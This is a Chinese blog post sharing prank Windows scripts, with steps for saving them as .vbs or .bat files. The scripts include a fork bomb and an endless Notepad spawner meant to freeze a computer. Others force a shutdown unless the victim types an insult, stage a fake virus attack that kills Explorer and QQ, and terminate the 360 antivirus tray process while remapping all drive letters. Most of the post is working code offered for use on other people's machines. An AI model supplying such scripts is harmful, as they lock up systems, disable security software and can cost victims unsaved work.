恶搞的小程序

目录

让电脑死机

恶搞代码

如何改后缀名

 后缀名没出现怎么办

---

作者又又发文章啦！

这一些文章的主题呢是一些恶搞的小程序。

上代码~~

让电脑死机

1.        后缀名.vbs   代码：（后缀名的不会改的，请到目录点击“如何改后缀名”）

:start
start
goto start

2.        后缀名.bat   代码：

%0|%0

3.        后缀名.bat   代码：

start cmd ipconfig

4.        后缀名.vbs   代码：

dim a,s
set wshshell=createobject("wscript.shell")
a=0
do
wshshell.run"notepad"
a=a+1
if a>9999 then
exit do
end if
loop

它会打开无数个记事本，最好的解决办法是点开之后马上进入任务管理器结束任务......不然的话还没进入任务管理器，就已经卡死了......

恶搞代码

1.        后缀名.vbs   代码：

On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True
Dim a
Do While (a <> "我是猪")
a= InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了"
WSHshella.run "cmd.exe /c shutdown -a"

2.        后缀名.vbs   代码：

gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows发现一重要更新，将自动下载。"
wscript.sleep 3000
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"
msgbox "是否阻止其安装？",vbyesno
wscript.sleep 3000
msgbox "阻止失败！请检查防火墙是否开启！"
wscript.sleep 5000
msgbox "正在尝试强行删除…"
wscript.sleep 5000
msgbox "失败！"
wscript.sleep 5000
msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高兴见到你！"
wscript.sleep 3000
msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"
wscript.sleep 3000
msgbox "我控制你的电脑了！"
wscript.sleep 3000
msgbox "不信？那我给你关机看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "帮你解除关机……"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信，劝你最好别动，要不然会引起系统混乱~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry， I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"
s.run "explorer"

上面那个病毒不会对你的电脑有伤害，但下面那个不一样，有点吓人，具体的话你们自己去测测看。我自己已经运行过了，不会对电脑有伤害。

3.        后缀名.bat   代码：

@ color 1f 
@echo off
title 最好别关本程序否则后果自负......!
echo 你中招了!
echo 处理器异常!
ping 127.0.0.1 /n 4 >nul
echo.
echo 正在移除C盘……
echo.
ping 127.0.0.1 /n 4 >nul
echo 正在移除D盘……
echo.
echo 正在移除E盘……
ping 127.0.0.1 /n 4 >nul
echo F盘先给你留着吧!
echo.
echo 我会那么善良吗?
ping 127.0.0.1 /n 4 >nul
echo 不会的……
echo.
echo 呵呵开玩笑的!
ping 127.0.0.1 /n 4 >nul
echo 正在恢复C盘……
echo.
echo 正在恢复D盘……
ping 127.0.0.1 /n 4 >nul
echo 正在恢复E盘……
echo.
echo 正在恢复F盘……
ping 127.0.0.1 /n 4 >nul
echo 请一直按住 Enter 键
taskkill /f /im 360tray.exe
ping 127.0.0.1 /n 4 >nul
echo 看你的磁盘好少，怪可怜的……
echo.
ping 127.0.0.1 /n 4 >nul
echo 给你加几个吧!
echo.
ping 127.0.0.1 /n 4 >nul
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)
start explorer.exe
ping 127.0.0.1 /n 4 >nul
echo 呵呵……
echo.
ping 127.0.0.1 /n 4 >nul
echo 给你1分钟时间，看看你的电脑!
echo .
ping 127.0.0.1 /n 60 >nul
echo 看过了吗，好玩的在后面!
echo.
ping 127.0.0.1 /n 120 >nul
echo 哈哈!
echo.
@echo off
shutdown /s /t 120 /c "电脑马上就要关机!"
ping 127.0.0.1 /n 15 >nul
shutdown -a
echo 你上当了,吓唬吓唬你!
ping 127.0.0.1 /n 4 >nul
echo 正在一键重装中，请稍后……
echo.
echo 0.01
ping 127.0.0.1 /n 4 >nul
echo 0.13
ping 127.0.0.1 /n 4 >nul
echo 0.25
ping 127.0.0.1 /n 4 >nul
echo 0.49
ping 127.0.0.1 /n 4 >nul
echo 0.69
ping 127.0.0.1 /n 4 >nul
echo 0.89
ping 127.0.0.1 /n 4 >nul
echo 0.99
ping 127.0.0.1 /n 4 >nul
echo loading
ping 127.0.0.1 /n 4 >nul
echo 重装已完成!
ping 127.0.0.1 /n 4 >nul
echo 也是吓唬你的！
ping 127.0.0.1 /n 10 >nul
echo 真正的游戏开始了……
taskkill /f /im explorer.exe
shutdown /s /t 30 /c "系统关键文件被删除导致崩溃!系统将在30秒后关机"
ping 127.0.0.1 /n 28 >nul
shutdown -a
echo 你上当了,吓唬吓唬你，现在恢复所有程序Loading......
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
start explorer.exe
ping 127.0.0.1 /n 4 >nul
echo 恢复已完成
ping 127.0.0.1 /n 4 >nul
echo 我会那么善良吗?
ping 127.0.0.1 /n 4 >nul
echo 不会
ping 127.0.0.1 /n 4 >nul
echo 逗你玩的!
ping 127.0.0.1 /n 4 >nul
echo 会发生什么呢?
ping 127.0.0.1 /n 4 >nul
echo 什么都没发生

这段代码就如同它运行起来说的一样，如果你们运行了，最好不要关闭这个程序。也是有点烦人的，运行起来你们可以看看效果，但千万不要关掉它。

5.        后缀名.vbs   代码：

do
msgbox("输入文字")
Loop

“输入文字”那4个字可以随意改，这样就出现了一个关不掉的弹窗，解决办法是打开任务管理器结束任务。

6......没有第6个了！作者肝废了！

如何改后缀名

1.新建一个文本文档

2.点击重命名 

3.把文件名后面的.txt改成.vbs或.bat

 vbs是这样的                                                    bat是这样的

                                        

 

 后缀名没出现怎么办

1.打开计算机，点击查看。

2.将“文件拓展名”勾选 

OK!